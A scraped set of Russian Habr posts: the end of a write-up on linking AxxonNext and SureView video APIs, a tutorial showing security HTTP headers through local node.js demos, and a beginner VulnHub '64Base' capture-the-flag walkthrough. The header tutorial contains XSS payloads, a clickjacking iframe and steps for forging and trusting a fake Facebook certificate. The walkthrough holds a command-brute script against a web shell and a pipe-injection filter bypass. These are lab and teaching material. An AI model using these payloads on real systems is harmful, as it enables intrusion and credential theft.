Название устройства состоит из трех компонентов. Имя хоста, на котором установлен сервер AxxonNext. В представленном примере это HOSTNAME . Данная информация необходима в связи с тем, что множество серверов Axxon могут быть объединены в единый домен, и управление устройствами возможно через один единый сервер Axxon.
Имя подключенного устройства. В данном примере это DeviceIpint.4 и DeviceIpint.5.
Имя оригинального источника видео. В данном примере это SourceEndpoint.video:0:0.
У одного устройства может быть несколько источников видеосигнала, например, с различным качеством.
Для запроса всех источников видеосигнала устройства необходимо послать запрос, имеющий следующий вид: GET /video-sources/HOSTNAME/DeviceName/OriginSource
где HOSTNAME , DeviceName и OriginSource — ранее описанные 3 компонента названия устройства.
Для получения живого потока (в формате RTSP) от конкретного источника сигнала необходимо послать следующий запрос. GET /live/media/HOSTNAME/DeviceName/VideoSource?format=rtsp
В ответ получим ссылку на нужный нам RTSP поток. {
"rtsp":{
"description":"RTP/UDP or RTP/RTSP/TCP",
"path":"hosts/SALES/DeviceIpint.4/SourceEndpoint.video:0:0",
"port":"554"
}
}
Для получения списка устройств телеметрии для оригинального источника видео необходимо послать запрос вида: GET /control/telemetry/list/HOSTNAME/DeviceName
где HOSTNAME и DeviceName — описанные ранее имя хоста и имя устройства.
В ответ получим список устройств телеметрии, доступных на устройстве. [
"SALES/DeviceIpint.5/TelemetryControl.0"
]
Имя устройства так же состоит из трех компонентов, последний из которых — имя устройства телеметрии, а первые два — описанные ранее имя хоста и имя устройства.
Перед началом управления устройством необходимо произвести запрос информации о способах управления, которые поддерживаются устройством. Это осуществляется с помощью запроса имеющего следующий вид. GET /control/telemetry/info/HOSTNAME/DeviceName/TelemetryName
В ответ получим информацию о степенях свободы, предельных значениях и способах управления устройством. {
"degrees": {
"tilt": {
"relative": {"min": "-45", "max": "45"},
"continuous": {"min": "-10", "max": "10"}
},
"pan": {
"absolute": {"min": "-170", "max": "170"},
"continuous": {"min": "-10", "max": "10"}
},
"zoom": {
"absolute": {"min": "0", "max": "20"}
}
},
"feature": ["autoFocus", "areaZoom", "pointMove"]
} Degrees — информация о степенях свободы с предельно допустимыми значениями в градусах: tilt — управление наклоном видеокамеры;
pan — управление поворотом видеокамеры;
zoom — управление зумом;
focus — управление фокусом;
iris — управление диафрагмой.
Каждая степень свободы содержит список поддерживаемых способов управления: absolute — абсолютный — поворот камеры на заданный угол относительно установки камеры;
relative — относительный — поворот камеры на заданный угол относительно текущего положения камеры;
continuous — непрерывный — непрерывный поворот камеры пока нажата кнопка управления;
feature — список поддерживаемых функций, задача реализации этих функций в плагине интеграции не стояла.
Для начала сессии управления устройством телеметрии необходимо произвести захват сессии управлении, послав запрос вида: GET /control/telemetry/session/acquire/HOSTNAME/DeviceName/TelemetryName?session_priority=n
где n — число от 1 до 5, приоритет сессии управления.
Если в данный момент устройство телеметрии свободно или им управляет другой пользователь с меньшим приоритетом, то происходит захват управления, и от сервера приходит такой ответ:
{
"session_id" : [id]
}
где id — идентификатор сессии.
Для поддержания актуальности сессии управления, необходимо не реже чем раз в 10 секунд отправлять запросы. GET /control/telemetry/session/keepalive/HOSTNAME/DeviceName/TelemetryName?session_id=id
Для освобождения сессии необходимо послать запрос следующего вида. GET /control/telemetry/session/release/HOSTNAME/DeviceName/TelemetryName?session_id=[id]
Для отправки команды на изменение одной из степеней свободы телеметрии необходимо послать запрос вида: GET /control/telemetry/DEGREE/HOSTNAME/DeviceName/TelemetryName?mode=MODE
&value=VAL&session_id=id
где: DEGREE — название степени свободы: tilt, pan, zoom, focus, iris;
MODE — способ управления: absolute, relative, continuous;
VAL — значение, на величину которой необходимо изменить или установить степень свободы;
id — идентификатор сессии управления.
Основной сложностью при реализации проекта оказалась реализация передачи тревожных сообщений из AxxonNext в SureView.
Сложности. Плагин интеграции SureView не может произвести запрос списка тревожных сообщений, соответствующего функционала попросту не предусмотрено в SDK. Вместо этого SDK предполагает, что тревожные сообщения будут приходить в ПО SureView по протоколу SMTP, и уже потом плагин интеграции будет заниматься (в соответствии с SDK) разбором тела письма и выделением из него необходимой информации, такой, например, как: номер и имя камеры или датчика, на котором был сгенерирован сигнал тревоги.
ПО AxxonNext не отправляет списки тревожных событий, а отдает их по запросу посредством HTTP API. Выборка событий осуществляется за заданный период времени. К чести ПО AxxonNext, оно умеет отправлять события по протоколу SMTP, но данное действие настраивается вручную, индивидуально для каждого подключенного устройства, иначе при большом количестве устройств и тревог получится спам-рассылка.
Для выхода из сложившейся ситуации было решено реализовать отдельный сервис в виде службы Windows, которая занимается периодическим считыванием списка тревог и отправкой их по протоколу SMTP в ПО SureView.
Для более точного контроля отправляемого списка тревог была реализована возможность гибкой настройки параметров запускаемого сервиса с возможностью фильтрации по устройствам и типам событий.
Кроме того, для предотвращения повторной отправки событий сервис выполняет функцию контроля: было ли отправлено событие ранее или нет. Больше проектов: Как за 5233 человеко-часа создать софт для микротомографа SDK для внедрения поддержки электронных книг в формате FB2 Управление доступом к электронным документам. От DefView до Vivaldi Интегрируем две системы видеонаблюдения: Axxon Next и SureView Подробнее о разработке софта рентгеновского томографа «Сфера»: как мониторить миллиарды киловатт-часов Разработка простого плагина для JIRA для работы с базой данных В помощь DevOps: сборщик прошивок для сетевых устройств на Debian за 1008 часов Автообновление службы Windows через AWS для бедных | https://habrahabr.ru/company/edison/blog/317290/ |
habrahabr | Экзотичные заголовки HTTP | ['http заголовки', 'безопасность', 'примеры'] |
Привет Хабрахабр! В этой статье будут наглядно продемонстрирован результат применения некоторых важных и экзотичных HTTP заголовков, большинство из которых связаны с безопасностью.... |
Привет Хабрахабр! В этой статье будут наглядно продемонстрирован результат применения некоторых важных и экзотичных HTTP заголовков, большинство из которых связаны с безопасностью. X-XSS-Protection
Атака XSS (межсайтовый скриптинг) это тип атаки, при котором вредоносный код может быть внедрён в атакуемую страницу.
Например вот так: <h1>Hello, <script>alert('hacked')</script></h1>
Такой тип атаки легко обнаружить и браузер вполне может с этим справиться: если в исходном коде содержится часть запроса, то это может оказаться угрозой.
И заголовок X-XSS-Protection управляет этим поведением браузера.
Принимаемые значения: 0 фильтр выключен
1 фильтр включен. Если атака обнаружена, то браузер удалит вредоносный код.
1; mode=block . Фильтр включен, но если атака обнаружится, страница не будет загружена браузером.
1; report=http://domain/url . фильтр включен и браузер очистит страницу от вредоносного кода, при этом сообщив о попытке атаки. Тут используется функция Chromium для отправки отчёта о нарушении политика защиты контента (CSP) на определённый адрес.
Создадим веб сервер-песочницу на node.js, чтобы посмотреть как это работает. var express = require('express')
var app = express()
app.use((req, res) => {
if (req.query.xss) res.setHeader('X-XSS-Protection', req.query.xss)
res.send(`<h1>Hello, ${req.query.user || 'anonymous'}</h1>`)
})
app.listen(1234)
Буду использовать Google Chrome 55. Без заголовка http://localhost:1234/?user=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E
Ничего не произойдёт, браузер успешно заблокирует атаку. Chrome, по умолчанию, блокирует угрозу и сообщает об этом в консоли.
Он даже выделяет проблемный участок в исходном коде. X-XSS-Protection: 0 http://localhost:1234/?user=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E&xss=0
О нет! X-XSS-Protection: 1 http://localhost:1234/?user=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E&xss=1
Страница была очищена из-за явного указания заголовка. X-XSS-Protection: 1; mode=block http://localhost:1234/?user=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E&xss=1;%20mode=block
В этом случае атака будет предотвращена путём блокирования загрузки страницы. X-XSS-Protection: 1; report=http://localhost:1234/report http://localhost:1234/?user=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E&xss=1;%20report=http://localhost:1234/report
Атака предотвращена и сообщение об этом отправлено по соответствующему адресу. X-Frame-Options
При помощи данного заголовка можно защититься от так называемого Кликджекинга [Clickjacking].
Представьте, что у злоумышленника есть канал на YouTube и ему хочется больше подписчиков.
Он может создать страницу с кнопкой «Не нажимать», что будет значить, что все на неё обязательно нажмут. Но поверх кнопки находится абсолютно прозрачный iframe и в этом фрейме прячется страница канала с кнопкой подписки. Поэтому при нажатии на кнопку, на самом деле пользователь подписывается на канал, если конечно, он был залогинен в YouTube.
Продемонстрируем это.
Сперва нужно установить расширение для игнорирования данного заголовка.
Создадим простую страницу. <style>
button { background: red; color: white; padding: 10px 20px; border: none; cursor: pointer; }
iframe { opacity: 0.8; z-index: 1; position: absolute; top: -570px; left: -80px; width: 500px; height: 650px; }
</style>
<button>Do not click his button!</button>
<iframe src="https://youtu.be/dQw4w9WgXcQ?t=3m33s"></iframe>
Как можно заметить, я разместил фрейм с подпиской прям над кнопкой ( z-index: 1 ) и поэтому если попытаться на неё нажать, то на самом деле нажмётся фрейм. В этом примере фрейм не полностью прозрачен, но это исправляется значением opacity: 0 .
На практике, такое не сработает, потому что у YouTube задан нужный заголовок, но смысл угрозы, надеюсь, понятен.
Для предотвращения страницы быть использованной во фрейме нужно использовать заголовок X-Frame-Options .
Принимаемые значения: deny не загружать страницу вообще.
sameorigin не загружать, если источник не совпадает.
allow-from: ДОМЕН можно указать домен, с которого страница может быть загружена во фрейме.
Нам понадобится веб сервер для демонстрации var express = require('express')
for (let port of [1234, 4321]) {
var app = express()
app.use('/iframe', (req, res) => res.send(`<h1>iframe</h1><iframe src="//localhost:1234?h=${req.query.h || ''}"></iframe>`))
app.use((req, res) => {
if (req.query.h) res.setHeader('X-Frame-Options', req.query.h)
res.send('<h1>Website</h1>')
})
app.listen(port)
} Без заголовка
Все смогут встроить наш сайт по адресу localhost:1234 во фрейм. X-Frame-Options: deny
Страницу вообще нельзя использовать во фрейме. X-Frame-Options: sameorigin
Только страницы с одинаковым источником смогут встраивать во фрейм. Источники совпадают, если домен, порт и протокол одинаковые. X-Frame-Options: allow-from localhost :4321
Похоже, что Chrome игнорирует такую опцию, т.к. существует заголовок Content-Security-Policy (о ней будет рассказано ниже). Не работает это и в Microsoft Edge.
Ниже Mozilla Firefox. X-Content-Type-Options
Данный заголовок предотвращает атаки с подменой типов MIME ( <script src=«script.txt»> ) или несанкционированного хотлинка ( <script src=«https:&sol;/raw.githubusercontent.com/user/repo/branch/file.js»> ) var express = require('express')
var app = express()
app.use('/script.txt', (req, res) => {
if (req.query.h) res.header('X-Content-Type-Options', req.query.h)
res.header('content-type', 'text/plain')
res.send('alert("hacked")')
})
app.use((req, res) => {
res.send(`<h1>Website</h1><script src="/script.txt?h=${req.query.h || ''}"></script>`)
})
app.listen(1234)
Без заголовка http://localhost:1234/
Хоть script.txt и является текстовым файлом с типом text/plain , он будет запущен как скрипт. X-Content-Type-Options: nosniff http://localhost:1234/?h=nosniff
На этот раз типы не совпадают и файл не будет исполнен. Content-Security-Policy
Это относительно молодой заголовок и помогает уменьшить риски атаки XSS в современных браузерах путём указания в заголовке какие именно ресурсы могут подргружаться на странице.
Например, можно попросить браузер не исполнять inline-скрпиты и загружать файлы только с одного домена. Inline-скрпиты могут выглядеть не только как <script>...</script> , но и как <h1 onclick="..."> .
Посмотрим как это работает. var request = require('request')
var express = require('express')
for (let port of [1234, 4321]) {
var app = express()
app.use('/script.js', (req, res) => {
res.send(`document.querySelector('#${req.query.id}').innerHTML = 'изменено ${req.query.id}-скриптом'`)
})
app.use((req, res) => {
var csp = req.query.csp
if (csp) res.header('Content-Security-Policy', csp)
res.send(`
<html>
<body>
<h1>Hello, ${req.query.user || 'anonymous'}</h1>
<p id="inline">это будет изменено inline-скриптом?</p>
<p id="origin">это будет изменено origin-скриптом?</p>
<p id="remote">это будет изменено remote-скриптом?</p>
<script>document.querySelector('#inline').innerHTML = 'изменено inline-скриптом'</script>
<script src="/script.js?id=origin"></script>
<script src="//localhost:1234/script.js?id=remote"></script>
</body>
</html>
`)
})
app.listen(port)
} Без заголовка
Это работает так, как вы и ожидали Content-Security-Policy: default-src 'none' http://localhost:4321/?csp=default-src%20%27none%27&user=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E default-src применяет правило для всех ресурсов (картинки, скрипты, фреймы и т.д.), значение 'none' блокирует всё. Ниже продемонстрировано что происходит и ошибки, показываемые в браузере.
Chrome отказался запускать любые скрипты. В таком случае не получится даже загрузить favicon.ico . Content-Security-Policy: default-src 'self' http://localhost:4321/?csp=default-src%20%27self%27&user=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E
Теперь можно использовать ресурсы с одного источника, но по прежнему нельзя запускать внешние и inline-скрипты. Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' http://localhost:4321/?csp=default-src%20%27self%27;%20script-src%20%27self%27%20%27unsafe-inline%27&user=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E
На этот раз мы разрешили исполнение и inline-скриптов. Обратите внимание, что XSS атака в запросе тоже была заблокирована. Но этого не произойдёт, если одновременно поставить и unsafe-inline , и X-XSS-Protection: 0 . Другие значения
На сайте content-security-policy.com красиво показаны множество примеров. default-src 'self' разрешит ресурсы только с одного источника
script-src 'self' www.google-analytics.com ajax.googleapis.com разрешит Google Analytics, Google AJAX CDN и ресурсы с одного источника.
default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; разрешит изображения, скрипты, AJAX и CSS с одного источника и запретит загрузгу любых других ресурсов. Для большинства сайтов это хорошая начальная настройка.
Я этого не проверял, но я думаю, что следующие заголовки эквиваленты: frame-ancestors 'none' и X-Frame-Options: deny
frame-ancestors 'self' и X-Frame-Options: sameorigin
frame-ancestors localhost:4321 и X-Frame-Options: allow-from localhost :4321
script-src 'self' без 'unsafe-inline' и X-XSS-Protection: 1
Если взглянуть на заголовки facebook.com или twitter.com, то можно заметить, что эти сайты используют много CSP. Strict-Transport-Security
HTTP Strict Transport Security (HSTS) это механизм политики безопасности, который позволяет защитить сайт от попытки небезопасного соединения.
Допустим, что мы хотим подключиться к facebook.com . Если не набрать перед запросом https:// , то протокол, по умолчанию, будет выбран HTTP и поэтому запрос будет выглядеть как http://facebook.com . $ curl -I facebook.com
HTTP/1.1 301 Moved Permanently
Location: https://facebook.com/
После этого мы будем перенаправлены на защищённую версию Facebook.
Если подключиться к публичной WiFi точке, которая принадлежит злоумышленнику, то запрос может быть перехвачен и вместо facebook.com злоумышленник может подставить похожую страницу, чтобы узнать логин и пароль.
Чтобы обезопаситься от такой атаки, можно использовать вышеупомянутый заголовок, который скажет клиенту в следующий раз использовать https -версию сайта. $ curl -I https://www.facebook.com/
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=15552000; preload
Если пользователь был залогинен в Facebook дома, а потом попытался открыть его из небезопасной точки доступа, то ему ничего не угрожает, т.к. браузеры запоминают этот заголовок.
Но что будет, если подключиться в небезопасной сети первый раз? В этом случае защититься не получится.
Но у браузеров есть козырь и на этот случай. В них есть предопределённый список доменов, для которых следует использовать только HTTPS.
Можно отправить свой домен по этому адресу. Там также можно узнать правильно ли используется заголовок.
Принимаемые значения: max-age=15552000 время, в секундах, которое браузер должен помнить о заголовке.
includeSubDomains Если указать это опциональное значение, то заголовок распространяется и на все поддомены.
preload если владелец сайта хочет, чтобы домен попал в предопределённый список, поддерживаемый Chrome (и используемый Firefox и Safari).
А если потребуется переключиться на HTTP перед сроком истечения max-age или если установлен preload ? Можно поставить значение max-age=0 и тогда правило перехода на https версию работать перестанет. Public-Key-Pins
HTTP Public Key Pinning (HPKP) это механизм политики безопасности, который позволяет HTTPS сайтам защититься от использования злоумышленниками поддельных или обманных сертификатов.
Принимаемые значения: pin-sha256="<sha256>" в кавычках находится закодированный с помощью Base64 отпечаток Subject Public Key Information (SPKI). Можно указать несколько пинов для различных открытых ключей. Некоторые браузеры в будущем могут использовать и другие алгоритмы хеширования, помимо SHA-256.
max-age=<seconds> время, в секундах, которое браузер запоминает что для доступа к сайту нужно использовать только перечисленные ключи.
includeSubDomains если указать этот необязательный параметр, то заголовок действует и на все поддомены.
report-uri="<URL>" если указать URL, то при ошибке проверки ключа, соответствующее сообщение отправится по указанному адресу.
Вместо заголовка Public-Key-Pins можно использовать Public-Key-Pins-Report-Only , в таком случае будут отправляться только сообщения об ошибках совпадения ключей, но браузер всё равно будет загружать страницу.
Так делает Facebook: $ curl -I https://www.facebook.com/
HTTP/1.1 200 OK
...
Public-Key-Pins-Report-Only:
max-age=500;
pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18=";
pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E=";
pin-sha256="q4PO2G2cbkZhZ82+JgmRUyGMoAeozA+BSXVXQWB8XWQ=";
report-uri="http://reports.fb.com/hpkp/"
Зачем это нужно? Не достаточно ли доверенных центров сертификации (CA)?
Злоумышленник может создать свой сертификат для facebook.com и путём обмана заставить пользователя добавить его в своё хранилище доверенных сертификатов, либо он может быть администратором.
Попробуем создать сертификат для facebook. sudo mkdir /etc/certs
echo -e 'US\nCA\nSF\nFB\nXX\nwww.facebook.com\nno@spam.org' | \
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/certs/facebook.key \
-out /etc/certs/facebook.crt
И сделать его доверенным в локальной системе. # curl
sudo cp /etc/certs/*.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates
# Google Chrome
sudo apt install libnss3-tools -y
certutil -A -t "C,," -n "FB" -d sql:$HOME/.pki/nssdb -i /etc/certs/facebook.crt
# Mozilla Firefox
#certutil -A -t "CP,," -n "FB" -d sql:`ls -1d $HOME/.mozilla/firefox/*.default | head -n 1` -i /etc/certs/facebook.crt
А теперь запустим веб сервер, использующий этот сертификат. var fs = require('fs')
var https = require('https')
var express = require('express')
var options = {
key: fs.readFileSync(`/etc/certs/${process.argv[2]}.key`),
cert: fs.readFileSync(`/etc/certs/${process.argv[2]}.crt`)
}
var app = express()
app.use((req, res) => res.send(`<h1>hacked</h1>`))
https.createServer(options, app).listen(443)
Переключимся на сервер echo 127.0.0.1 www.facebook.com | sudo tee -a /etc/hosts
sudo node server.js facebook
Посмотрим что получилось $ curl https://www.facebook.com
<h1>hacked</h1>
Отлично. curl подтверждает сертификат.
Так как я уже заходил на Facebook и Google Chrome видел его заголовки, то он должен сообщить об атаке но разрешить страницу, так?
Неа. Ключи не проверялись из-за локального корневого сертификата [Public-key pinning bypassed]. Это интересно…
Хорошо, а что насчёт www.google.com ? echo -e 'US\nCA\nSF\nGoogle\nXX\nwww.google.com\nno@spam.org' | \
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/certs/google.key \
-out /etc/certs/google.crt
sudo cp /etc/certs/*.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates
certutil -A -t "C,," -n "Google" -d sql:$HOME/.pki/nssdb -i /etc/certs/google.crt
echo 127.0.0.1 www.google.com | sudo tee -a /etc/hosts
sudo node server.js google
Тот же результат. Думаю это фича.
Но в любом случае, если не добавлять эти сертификаты в локальное хранилище, открыть сайты не получится, потому что опции продолжить небезопасное соединение в Chrome или добавить исключение в Firefox не будет. Content-Encoding: br
Данные сжаты при помощи Brotli .
Алгоритм обещает лучшее сжатие чем gzip и сравнимую скорость разархивирования. Поддерживается Google Chrome .
Разумеется, для него есть модуль в node.js. var shrinkRay = require('shrink-ray')
var request = require('request')
var express = require('express')
request('https://www.gutenberg.org/files/1342/1342-0.txt', (err, res, text) => {
if (err) throw new Error(err)
var app = express()
app.use(shrinkRay())
app.use((req, res) => res.header('content-type', 'text/plain').send(text))
app.listen(1234)
})
Исходный размер: 700 Кб
Brotli: 204 Кб
Gzip: 241 Кб Timing-Allow-Origin
С помощью Resource Timing API можно узнать сколько времени заняла обработка ресурсов на странице.
Поскольку информация о времени загрузки может быть использована чтобы определить посещал ли пользователь страницу до этого (обращая внимание на то, что ресурсы могут кэшироваться), стандарт считается уязвимым, если давать такую информацию любым хостам. <script>
setTimeout(function() {
console.log(window.performance.getEntriesByType('resource'))
}, 1000)
</script>
<img src="http://placehold.it/350x150">
<img src="/local.gif">
Похоже, если не указать Timing-Allow-Origin , то получить детальную информацию о времени операций (поиска домена, например) можно только для ресурсов с одним источником.
Использовать можно так: Timing-Allow-Origin: *
Timing-Allow-Origin: http://foo.com http://bar.com
Alt-Svc
Альтернативные Сервисы [Alternative Services] позволяют ресурсам находиться в различных частях сети и доступ к ним можно получить с помощью разных конфигураций протокола.
Такой используется в Google: alt-svc: quic=":443"; ma=2592000; v=«36,35,34»
Это означает, что браузер, если захочет, может использовать QUIC , это HTTP над UDP, через порт 443 следующие 30 дней (ma = 2592000 секунд, или 720 часов, т.е 30 дней). Понятия не имею что означает параметр v , версия? P3P
Ниже несколько P3P заголовков, которые я встречал: P3P: CP=«This is not a P3P policy! See support.google.com/accounts/answer/151657?hl=en for more info.»
P3P: CP=«Facebook does not have a P3P policy. Learn why here: fb.me/p3p »
Некоторые браузеры требуют, чтобы cookies третьих лиц поддерживали протокол P3P для обозначения мер конфиденциальности.
Организация, основавшая P3P, Консорциум Всемирной паутины (W3C), приостановила работу над протоколом несколько лет назад из-за того, что современные браузеры не до конца поддерживают протокол. В результате, P3P устарел и не включает в себя технологии, которые сейчас используются в сети, поэтому большинство сайтов не поддерживают P3P.
Я не стал слишком углубляться, но видимо заголовок нужен для IE8 чтобы принимать cookies третьих лиц.
Например, если в IE настройка приватности высокая, то все cookies с сайтов, у которых нет компактной политики конфиденциальности, будут блокированы, но те у которых есть заголовки похожие на вышеупомянутые, заблокированы не будут. | https://habrahabr.ru/post/317720/ |
habrahabr | VulnHub Решение простого 64Base: Boot2Root | ['ctf', 'vulnerability', 'web', 'write-up', 'vulnhub', 'boot2root'] |
Совсем недавно на VulnHub опубликовали новый образ виртуалки под названием 64Base Boot2Root. Задания, как и статья рассчитаны на новичков. Так что не удивляйтесь, если какие-то из решений... |
Совсем недавно на VulnHub опубликовали новый образ виртуалки под названием 64Base Boot2Root . Задания, как и статья рассчитаны на новичков. Так что не удивляйтесь, если какие-то из решений покажутся слишком простыми. Начнем
В описании видим количество флагов, и их формат: There are 6 flags to collect. Each in the format of flag1{ZXhhbXBsZSBmbGFnCg==} Beat the Empire and steal the plans for the Death Star before its too late.
Скачиваем образ, импортируем настройки, открываем свойства виртуальной машины, в разделе Сеть, выставляем сетевой мост на наш адаптер, сохраняем, запускаем. И далее ищем nmap'ом нашу виртуалку: sudo nmap -A 192.168.1.1-255 -p1-65535
Получаем следующий вывод: Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-12 22:13 MSK
Nmap scan report for 192.168.1.2
Host is up (0.0040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http Apache httpd 2.4.10 ((Debian))
4899/tcp open radmin
62964/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
MAC Address: 08:00:27:68:E7:F8 (Oracle VirtualBox virtual NIC)
2 из 4 портов успешно детектировались — это 80 и 62964, и 2 порта, которые не определились nmap'ом. Но о них позже. flag1
Переходим по адресу 192.168.1.2 :80, попадаем на главную страницу.
На которой в глаза бросается надпись: dmlldyBzb3VyY2UgO0QK
Декодируем это из Base64 и получаем подсказку: view source ;D
Ок, заглянем в код страницы, и рядом с этой надписью видим коммент: <div class="site-heading">
<h1>64base</h1>
<hr class="small">
<span class="subheading">dmlldyBzb3VyY2UgO0QK</span>
<!--5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a-->
</div>
После преобразования HEX → ASCII → Base64 → ASCII
Получаем первый флаг: flag1{NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==}
Попробовав преобразовать флаг из base64 в ASCII, можно получить учетные данные 64base:Th353@r3N0TdaDr01DzU@reL00K1ing4 flag2
И так, у нас есть имя пользователя и предполагаемый пароль. Ищем доступные файлы и директории: sudo dirsearch -r -u http://192.168.1.2 -e php,txt,bak -w /usr/share/dirb/wordlists/big.txt -f -x 301,403
Нашлась страница с Basic авторизацией /admin . Учетные данные, найденные в прошлом флаге не подошли. На ssh с ними тоже не удалось подключиться. Видимо что-то было упущено. После недолгих поисков было принято решение распарсить слова со страниц сайта в отдельный словарь. Скрипт на Python в этом помог: Скрытый текст #!/usr/bin/python3
import re
import requests
import sys
def repl(txt):
txt = txt.replace('<!', ' ').replace('>', ' ').replace('</', ' ').replace('\n', ' ').replace('<', ' ').replace('"', ' ').replace('=', ' ').replace(':', ' ').replace('--', ' ').replace('/', ' ').replace("'", " ").replace('©', ' ').replace(',', ' ').replace('#', ' ').replace('→a', ' ').replace('?', ' ').replace('.', ' ').replace(';', ' ').replace('(', ' ').replace(')', ' ').replace('{', ' ').replace('}', ' ')
return txt.strip()
words = []
url = sys.argv[1]
req = requests.get(url).text.splitlines()
for item in req:
item = repl(item)
tmp = [x.strip() for x in item.split(' ') if x.strip() != '']
for word in tmp:
if word not in words: words.append(word)
w = open(sys.argv[2], 'w')
for x in words:
w.write('%s\n' %(x))
w.close()
Выполним его для каждой найденной нами страницы: ./parser.py http://192.168.1.2/index.html index
./parser.py http://192.168.1.2/about.html about
./parser.py http://192.168.1.2/post.html post
./parser.py http://192.168.1.2/contact.html contact
cat index about post contact | sort -u > words.lst
Запустим снова поиск директорий: sudo dirsearch -u http://192.168.1.2/ -r -f -w words.lst -e php,txt,json,bak -x 301
Нашлась ещё одна интересная директория. Если взглянуть на файл robots.txt , то можно обнаружить запись: Disallow: /Imperial-class/
Видимо это одна из шуток автора, о которых говорилось в описании. При переходе запрашивается авторизация, вводим логин и пароль полученные ранее, и мы вошли!
Однако радоваться рано, нас встретило сообщение: [] ERROR: incorrect path!.. TO THE DARK SIDE!
Поискав на на сайте Imperial-Сlass , находим фразу: Only respond if you are a real Imperial-Class BountyHunter
Хм, попробовав перейти по адресу 192.168.1.2/Imperial-Class/BountyHunter попадаем на очередную страницу авторизации:
Взглянув на исходный код, видим следующее: Очередной закодированный флаг <body bgcolor=#000000><font color=#cfbf00>
<form name="login-form" id="login-form" method="post" action="./login.php">
<fieldset>
<legend>Please login:</legend>
<dl>
<dt>
<label title="Username">Username:
<input tabindex="1" accesskey="u" name="function" type="text" maxlength="50" id="5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756" />
</label>
</dt>
</dl>
<dl>
<dt>
<label title="Password">Password:
<input tabindex="2" accesskey="p" name="command" type="password" maxlength="15" id="584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c32" />
</label>
</dt>
</dl>
<dl>
<dt>
<label title="Submit">
<input tabindex="3" accesskey="l" type="submit" name="cmdlogin" value="Login" />
<!-- basictoken=52714d544a54626d51315a45566157464655614446525557383966516f3d0a -->
</label>
</dt>
</dl>
</fieldset>
</form>
Объединяем, преобразовываем HEX -> TEXT -> Base64 -> TEXT, получаем второй флаг: flag2{aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj12Snd5dEZXQTh1QQo=}
на этот раз в флаг вместо подсказки закодирована ссылка на YouTube flag3
Продолжим, у нас есть форма авторизации: 192.168.1.2/Imperial-Class/BountyHunter/index.php , попробовав несколько вариантов, можно заметить, что при любой отправке POST запроса к login.php , нас без каких либо ошибок редиректит на index.php .
Попробуем подробнее взглянуть на процесс редиректа, воспользовавшись curl : curl http://192.168.1.2/Imperial-Class/BountyHunter/login.php -H 'Authorization: Basic NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0'
В ответ на удивление мы получили следующий флаг: flag3{NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2
luLnBocD9mPWV4ZWMmYz1pZAo=}
И новую подсказку, закодированную в нём: 53cr3t5h377/Imperial-Class/BountyHunter/login.php?f=exec&c=id flag4
Воспользуемся Подсказкой из предыдущего флага и перейдём по адресу 192.168.1.2/Imperial-Class/BountyHunter/login.php?f=exec&c=id
Хм, сразу вспоминаем картинку, со страницы post.html Картинка
Заменим EXEC на SYSTEM: 192.168.1.2/Imperial-Class/BountyHunter/login.php?f=system&c=id И получаем новый флаг, подсказку, а так же shell на виртуальной машине. flag4{NjRiYXNlOjY0YmFzZTVoMzc3Cg==}
В подсказке, находим новые учетные данные: 64base:64base5h377 flag5
Немного изучив возможности найденного шела, становится понятно, что список команд доступных к выполнению, сильно ограничен, в добавок имеется фильтр для слеша. Осталось определить какие из них нам доступны.
Создадим словарь для перебора доступных нам команд: for item in $(ls /usr/sbin/ && ls /usr/bin/ && ls /sbin/ && ls /bin/); do echo $item >> /tmp/unix_command2.lst; done
sort -u /tmp/unix_command2.lst > unix_command.lst
Далее скармливаем этот словарь в скрипт на Python: Код #!/usr/bin/python
import requests
import sys, re
url = 'http://192.168.1.2/Imperial-Class/BountyHunter/login.php'
param = {'f':'system', 'c':''}
basic = ('64base', 'Th353@r3N0TdaDr01DzU@reL00K1ing4')
if len(sys.argv) == 1:
print('Usage: brute_sh.py [wordlist]')
sys.exit(0)
words = open(sys.argv[1], 'r').read().splitlines()
for item in words:
param['c'] = '%s --help' %(item)
req = requests.get(url, params=param, auth=basic)
if len(req.text.splitlines()) > 9:
print('Found cmd: %s' %(item))
И получаем такой вывод: Found cmd: base64
Found cmd: cat
Found cmd: id
Found cmd: locate
Found cmd: ls
Found cmd: nc
Found cmd: ps
Found cmd: w
Found cmd: wget
Found cmd: who
Found cmd: whoami
Не много, однако так как у нас не фильтруется символ | то подставив его в начало команды, получаем возможность выполнить любую. Поиграв с передаваемыми параметрами
получаем такой запрос: |locate admin|grep html|xargs find P.S. Здесь и далее я буду приводить непосредственно команды, которые нужно передать в аргумент c .
Вывод будет выглядеть так: /var/www/html/admin
/var/www/html/admin/index.php
/var/www/html/admin/S3cR37
